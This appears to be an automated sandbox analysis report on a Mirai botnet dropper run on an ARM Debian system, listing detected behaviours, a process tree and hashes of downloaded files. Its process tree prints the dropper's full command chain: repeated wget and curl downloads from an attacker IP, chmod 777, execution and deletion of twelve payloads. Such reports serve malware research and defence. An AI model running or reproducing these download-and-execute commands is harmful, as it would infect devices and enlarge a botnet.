Analysis

  • max time kernel
    130s
  • max time network
    92s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/07/2026, 02:11

General

  • Target
    c9ae02ce68946ae8dde17455980ffd573f2f79656054efc91d727dd358bbfae7
  • Size 1KB
  • Sample260706-cmc8tacz3l
  • SHA256 c9ae02ce68946ae8dde17455980ffd573f2f79656054efc91d727dd358bbfae7
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c9ae02ce68946ae8dde17455980ffd573f2f79656054efc91d727dd358bbfae7
    /tmp/c9ae02ce68946ae8dde17455980ffd573f2f79656054efc91d727dd358bbfae7
    1⤵
    • Executes dropped EXE
    PID:640
    • /usr/bin/wget
      wget http://5.182.210.61/d204cb
      2⤵
      • Writes file to tmp directory
      PID:646
    • /usr/bin/curl
      curl -O http://5.182.210.61/d204cb
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:667
    • /bin/chmod
      chmod 777 d204cb
      2⤵
      • File and Directory Permissions Modification
      PID:670
    • /tmp/d204cb
      ./d204cb bc
      2⤵
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Changes its process name
      • Reads system network configuration
      • Reads runtime system information
      PID:671
    • /bin/rm
      rm -rf d204cb
      2⤵
        PID:673
      • /bin/rm
        rm -rf d204cb.1
        2⤵
          PID:676
        • /usr/bin/wget
          wget http://5.182.210.61/154b5a
          2⤵
          • Writes file to tmp directory
          PID:677
        • /usr/bin/curl
          curl -O http://5.182.210.61/154b5a
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          PID:678
        • /bin/chmod
          chmod 777 154b5a
          2⤵
          • File and Directory Permissions Modification
          PID:754
        • /tmp/154b5a
          ./154b5a bc
          2⤵
            PID:755
          • /bin/rm
            rm -rf 154b5a
            2⤵
              PID:757
            • /bin/rm
              rm -rf 154b5a.1
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://5.182.210.61/a6c968
                2⤵
                • Writes file to tmp directory
                PID:759
              • /usr/bin/curl
                curl -O http://5.182.210.61/a6c968
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                PID:760
              • /bin/chmod
                chmod 777 a6c968
                2⤵
                • File and Directory Permissions Modification
                PID:766
              • /tmp/a6c968
                ./a6c968 bc
                2⤵
                  PID:767
                • /bin/rm
                  rm -rf a6c968
                  2⤵
                    PID:768
                  • /bin/rm
                    rm -rf a6c968.1
                    2⤵
                      PID:769
                    • /usr/bin/wget
                      wget http://5.182.210.61/807837
                      2⤵
                      • Writes file to tmp directory
                      PID:770
                    • /usr/bin/curl
                      curl -O http://5.182.210.61/807837
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:775
                    • /bin/chmod
                      chmod 777 807837
                      2⤵
                      • File and Directory Permissions Modification
                      PID:776
                    • /tmp/807837
                      ./807837 bc
                      2⤵
                        PID:777
                      • /bin/rm
                        rm -rf 807837
                        2⤵
                          PID:779
                        • /bin/rm
                          rm -rf 807837.1
                          2⤵
                            PID:780
                          • /usr/bin/wget
                            wget http://5.182.210.61/290f4c
                            2⤵
                            • Writes file to tmp directory
                            PID:781
                          • /usr/bin/curl
                            curl -O http://5.182.210.61/290f4c
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:782
                          • /bin/chmod
                            chmod 777 290f4c
                            2⤵
                            • File and Directory Permissions Modification
                            PID:785
                          • /tmp/290f4c
                            ./290f4c bc
                            2⤵
                            • Modifies Watchdog functionality
                            • Enumerates active TCP sockets
                            • Changes its process name
                            • Reads system network configuration
                            • Reads runtime system information
                            PID:786
                          • /bin/rm
                            rm -rf 290f4c
                            2⤵
                              PID:788
                            • /bin/rm
                              rm -rf 290f4c.1
                              2⤵
                                PID:791
                              • /usr/bin/wget
                                wget http://5.182.210.61/2eb685
                                2⤵
                                • Writes file to tmp directory
                                PID:792
                              • /usr/bin/curl
                                curl -O http://5.182.210.61/2eb685
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:793
                              • /bin/chmod
                                chmod 777 2eb685
                                2⤵
                                • File and Directory Permissions Modification
                                PID:794
                              • /tmp/2eb685
                                ./2eb685 bc
                                2⤵
                                  PID:795
                                • /bin/rm
                                  rm -rf 2eb685
                                  2⤵
                                    PID:797
                                  • /bin/rm
                                    rm -rf 2eb685.1
                                    2⤵
                                      PID:798
                                    • /usr/bin/wget
                                      wget http://5.182.210.61/81b63c
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:799
                                    • /usr/bin/curl
                                      curl -O http://5.182.210.61/81b63c
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      PID:800
                                    • /bin/chmod
                                      chmod 777 81b63c
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:801
                                    • /tmp/81b63c
                                      ./81b63c bc
                                      2⤵
                                        PID:802
                                      • /bin/rm
                                        rm -rf 81b63c
                                        2⤵
                                          PID:804
                                        • /bin/rm
                                          rm -rf 81b63c.1
                                          2⤵
                                            PID:805
                                          • /usr/bin/wget
                                            wget http://5.182.210.61/2c3233
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:806
                                          • /usr/bin/curl
                                            curl -O http://5.182.210.61/2c3233
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:807
                                          • /bin/chmod
                                            chmod 777 2c3233
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:808
                                          • /tmp/2c3233
                                            ./2c3233 bc
                                            2⤵
                                              PID:809
                                            • /bin/rm
                                              rm -rf 2c3233
                                              2⤵
                                                PID:811
                                              • /bin/rm
                                                rm -rf 2c3233.1
                                                2⤵
                                                  PID:812
                                                • /usr/bin/wget
                                                  wget http://5.182.210.61/879e82
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:813
                                                • /usr/bin/curl
                                                  curl -O http://5.182.210.61/879e82
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  PID:819
                                                • /bin/chmod
                                                  chmod 777 879e82
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:824
                                                • /tmp/879e82
                                                  ./879e82 bc
                                                  2⤵
                                                    PID:825
                                                  • /bin/rm
                                                    rm -rf 879e82
                                                    2⤵
                                                      PID:827
                                                    • /bin/rm
                                                      rm -rf 879e82.1
                                                      2⤵
                                                        PID:828
                                                      • /usr/bin/wget
                                                        wget http://5.182.210.61/194f8f
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:829
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.61/194f8f
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:832
                                                      • /bin/chmod
                                                        chmod 777 194f8f
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:833
                                                      • /tmp/194f8f
                                                        ./194f8f bc
                                                        2⤵
                                                          PID:834
                                                        • /bin/rm
                                                          rm -rf 194f8f
                                                          2⤵
                                                            PID:836
                                                          • /bin/rm
                                                            rm -rf 194f8f.1
                                                            2⤵
                                                              PID:837
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.61/552826
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:838
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.61/552826
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:839
                                                            • /bin/chmod
                                                              chmod 777 552826
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:840
                                                            • /tmp/552826
                                                              ./552826 bc
                                                              2⤵
                                                                PID:841
                                                              • /bin/rm
                                                                rm -rf 552826
                                                                2⤵
                                                                  PID:843
                                                                • /bin/rm
                                                                  rm -rf 552826.1
                                                                  2⤵
                                                                    PID:844
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.61/300614
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:845
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.61/300614
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    PID:850
                                                                  • /bin/chmod
                                                                    chmod 777 300614
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:853
                                                                  • /tmp/300614
                                                                    ./300614 bc
                                                                    2⤵
                                                                      PID:854
                                                                    • /bin/rm
                                                                      rm -rf 300614
                                                                      2⤵
                                                                        PID:855
                                                                      • /bin/rm
                                                                        rm -rf 300614.1
                                                                        2⤵
                                                                          PID:856

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            154b5a

                                                                            • Path /tmp/154b5a
                                                                            • Size 49KB
                                                                            • SHA256 3a4b1b5eb7f348e86ac9d6e13e71a29804303f93dd89e82cbffc757e2c65ab48
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            194f8f

                                                                            • Path /tmp/194f8f
                                                                            • Size 61KB
                                                                            • SHA256 de2ce4c85ca73390b92b7fa401b361e67268aead7abb9aa0e0a6e1aad3ed2d79
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            290f4c

                                                                            • Path /tmp/290f4c
                                                                            • Size 48KB
                                                                            • SHA256 e75d0ad374ac610f53a440128ce5a3be8ffd016fc5ef16cc1d029d465f0f9f36
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            2c3233

                                                                            • Path /tmp/2c3233
                                                                            • Size 63KB
                                                                            • SHA256 ad30815f17aa159560014af28a3022e4bc6bd901ab454bdc2fe067ec1436b47d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            2eb685

                                                                            • Path /tmp/2eb685
                                                                            • Size 45KB
                                                                            • SHA256 6d5869023af5ef528acdc1c43aab42fd7e764ff9e232320e8c3d9c7e30033209
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            300614

                                                                            • Path /tmp/300614
                                                                            • Size 57KB
                                                                            • SHA256 3b1e5dc338ee8e4793d1d2183ca0343c87797ce163406ef686f011a70721233d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            552826

                                                                            • Path /tmp/552826
                                                                            • Size 45KB
                                                                            • SHA256 0e596de45a903f2021988805644dcdcfb5455885c36bcb6a2d4af0743b83dbce
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            807837

                                                                            • Path /tmp/807837
                                                                            • Size 42KB
                                                                            • SHA256 459d8396f635b67eb1324e553de8187306a108f4f0f7d78792cd3abfcbcfe900
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            81b63c

                                                                            • Path /tmp/81b63c
                                                                            • Size 47KB
                                                                            • SHA256 df7c62b363067b9246e07bc11a5baf073492058e76d4e55a47d7b76ddb720860
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            879e82

                                                                            • Path /tmp/879e82
                                                                            • Size 42KB
                                                                            • SHA256 d5b4241db6212225218b685016c6388e7db74013c20d536d9a82f61bab6a127a
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            a6c968

                                                                            • Path /tmp/a6c968
                                                                            • Size 40KB
                                                                            • SHA256 deae8b8f3adf3c9517f537cc28aeda5541ef996d4af85d5a804c0257b08dfdb2
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            d204cb

                                                                            • Path /tmp/d204cb
                                                                            • Size 117KB
                                                                            • SHA256 8357e5ce33843cc608dd8d36f2f782a78c3ae6001324b52d9b877d3571818e88
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH